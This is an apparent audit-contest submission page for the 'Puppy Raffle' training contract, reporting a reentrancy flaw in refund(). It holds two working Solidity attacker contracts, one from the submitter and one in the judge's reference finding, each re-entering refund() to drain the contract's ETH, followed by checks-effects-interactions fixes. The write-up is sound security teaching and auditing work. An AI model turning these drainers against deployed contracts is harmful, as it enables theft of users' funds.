Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() Allows Draining Entire Contract Balance

sexretxt

Root + Impact

Description

Normal behavior:
The refund() function allows an active raffle participant to withdraw their entrance fee once, after which their slot in the players array should be invalidated to prevent further refunds.

Issue:
The function sends ETH to msg.sender before updating the player’s state in storage. If the participant is a malicious contract, it can re-enter refund() during the ETH transfer and repeatedly claim refunds before its slot is cleared, draining the entire contract balance.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // @> external call before state update
​
players[playerIndex] = address(0); // @> state updated too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Reason 1: Any participant can register a smart contract as a valid raffle player via enterRaffle.

  • Reason 2: Address.sendValue forwards all remaining gas, allowing arbitrary code execution and re-entrancy during the refund process.

Impact:

  • Impact 1: An attacker can drain all ETH held by the contract, including funds belonging to other players.

  • Impact 2: The raffle’s economic guarantees are permanently broken, resulting in irreversible fund loss.

Proof of Concept

This proof of concept demonstrates how a malicious contract can exploit the reentrancy vulnerability in refund() to withdraw the entrance fee multiple times.

The attacker registers a smart contract as a valid raffle participant. When refund() sends ETH to the attacker, the attacker’s receive() function is executed. Because the player slot in players[playerIndex] has not yet been cleared, the attacker can re-enter refund() and pass all validation checks again, allowing repeated withdrawals until the contract balance is depleted.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import "./PuppyRaffle.sol";
​
contract RefundReentrancyAttacker {
PuppyRaffle raffle;
uint256 playerIndex;
​
constructor(address _raffle) {
raffle = PuppyRaffle(_raffle);
}
​
// Step 1: Register a striker contract as a lottery participant
function enter() external payable {
address[] memory playersToEnter = new address[](1);
playersToEnter[0] = address(this);
​
raffle.enterRaffle{value: msg.value}(playersToEnter);
playerIndex = raffle.getActivePlayerIndex(address(this));
}
​
// Step 2: Trigger the first refund
function attack() external {
raffle.refund(playerIndex);
}
​
// Step 3: Re-enter the refund function when receiving the ETH transfer.
receive() external payable {
// Melakukan re-entry jika saldo kontrak target masih cukup
if (address(raffle).balance >= raffle.entranceFee()) {
raffle.refund(playerIndex);
}
}
}

  • The attacker receives the entrance fee multiple times.

  • The raffle contract’s balance is drained.

  • Honest participants permanently lose their funds.

Recommended Mitigation

Apply the Checks–Effects–Interactions pattern by updating state before making external calls.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
​
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!